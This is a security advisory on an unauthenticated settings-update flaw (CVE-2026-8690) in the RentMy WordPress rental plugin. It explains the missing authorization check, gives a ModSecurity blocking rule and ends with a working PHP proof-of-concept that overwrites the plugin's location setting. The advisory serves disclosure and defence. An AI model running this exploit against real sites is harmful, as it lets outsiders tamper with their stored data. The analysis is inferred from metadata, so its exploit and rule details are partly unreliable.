Atomic Edge analysis of CVE-2026-8690 (metadata-based): This vulnerability allows unauthenticated attackers to bypass authorization checks in the RentMy Real-Time Rental Management Plugin for WordPress, up to version 4.0.4.1. The flaw specifically targets the rentmy_cdn_request AJAX action, enabling modification of stored event records and plugin configuration options.
Root Cause: The core issue is a Missing Authorization vulnerability, classified under CWE-862. The plugin fails to verify user identity or capabilities before processing AJAX requests to the rentmy_cdn_request handler. Atomic Edge research infers that the WordPress AJAX hook registration likely uses wp_ajax_* or wp_ajax_nopriv_* without a capability check like current_user_can(). The description confirms unauthorized read, create, update, and delete access to the rentmy_events option and overwrite of the rentmy_locationId option. Since no code diff is available, this analysis is entirely inferred from CWE classification and vulnerability description.
Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to rentmy_cdn_request. The request includes additional parameters that instruct the plugin to manipulate the rentmy_events or rentmy_locationId options. The attacker does not need authentication or a nonce. Atomic Edge research identifies the exact AJAX action name from the CVE title. The attacker can craft payloads to inject arbitrary data into the rentmy_events option (which stores event records) or change the rentmy_locationId to a different value.
Remediation: The fix requires adding proper authorization checks to the rentmy_cdn_request AJAX callback. The plugin should verify the user has appropriate capabilities using current_user_can() with a specific capability like ‘manage_options’ or ‘edit_posts’. Alternatively, the plugin could validate a nonce generated for the action. Atomic Edge analysis recommends implementing both a capability check and nonce validation for defense in depth.
Impact: Successful exploitation allows unauthenticated attackers to corrupt event records stored in the rentmy_events option and modify the rentmy_locationId setting. While the CVSS score is 5.3 (medium severity) with a focus on integrity impact, an attacker could inject malicious data that causes operational disruptions in rental management workflows. The attack requires no user interaction and can be executed remotely, making it trivially exploitable for denial of service through data corruption.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8690 (metadata-based)
# Blocks unauthenticated rentmy_cdn_request AJAX actions targeting rentmy_locationId or rentmy_events modification
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268690,phase:2,deny,status:403,chain,msg:'CVE-2026-8690 rentmy_cdn_request unauthorized AJAX action',severity:'CRITICAL',tag:'CVE-2026-8690'"
SecRule ARGS_POST:action "@streq rentmy_cdn_request" "chain"
SecRule ARGS_POST:locationId "@rx ^[a-zA-Z0-9_-]+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8690 - RentMy Real-Time Rental Management Plugin <= 4.0.4.1 - Missing Authorization to Unauthenticated Settings Update
/**
* This PoC demonstrates exploitation of CVE-2026-8690.
* It sends a POST request to the WordPress admin-ajax.php endpoint
* targeting the rentmy_cdn_request action to overwrite the rentmy_locationId option.
*
* Assumptions:
* - The vulnerable plugin is active on the target site.
* - The rentmy_cdn_request action accepts a 'locationId' parameter in POST data.
* - No authentication or nonce is required due to the missing authorization check.
*/
// Configure target URL - CHANGE THIS to the target WordPress site
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The malicious location ID to set (could be arbitrary string)
$malicious_location_id = 'attacker-controlled-value-123';
// Initialize cURL session
$ch = curl_init();
// Set cURL options for the exploit request
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'rentmy_cdn_request',
'locationId' => $malicious_location_id,
// Additional parameters for event manipulation could be added here
// 'event_id' => 'malicious_event',
// 'event_data' => 'injected content'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true,
]);
// Execute the request and output result
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 200) {
echo "[+] Exploit successful! HTTP 200 returned.n";
echo "[+] Attempted to set rentmy_locationId to: $malicious_location_idn";
if (!empty($response)) {
echo "[+] Response: " . substr($response, 0, 500) . "n";
}
} else {
echo "[-] Exploit failed. HTTP status code: $http_coden";
echo "[-] Response: " . substr($response, 0, 500) . "n";
}
curl_close($ch);
?>
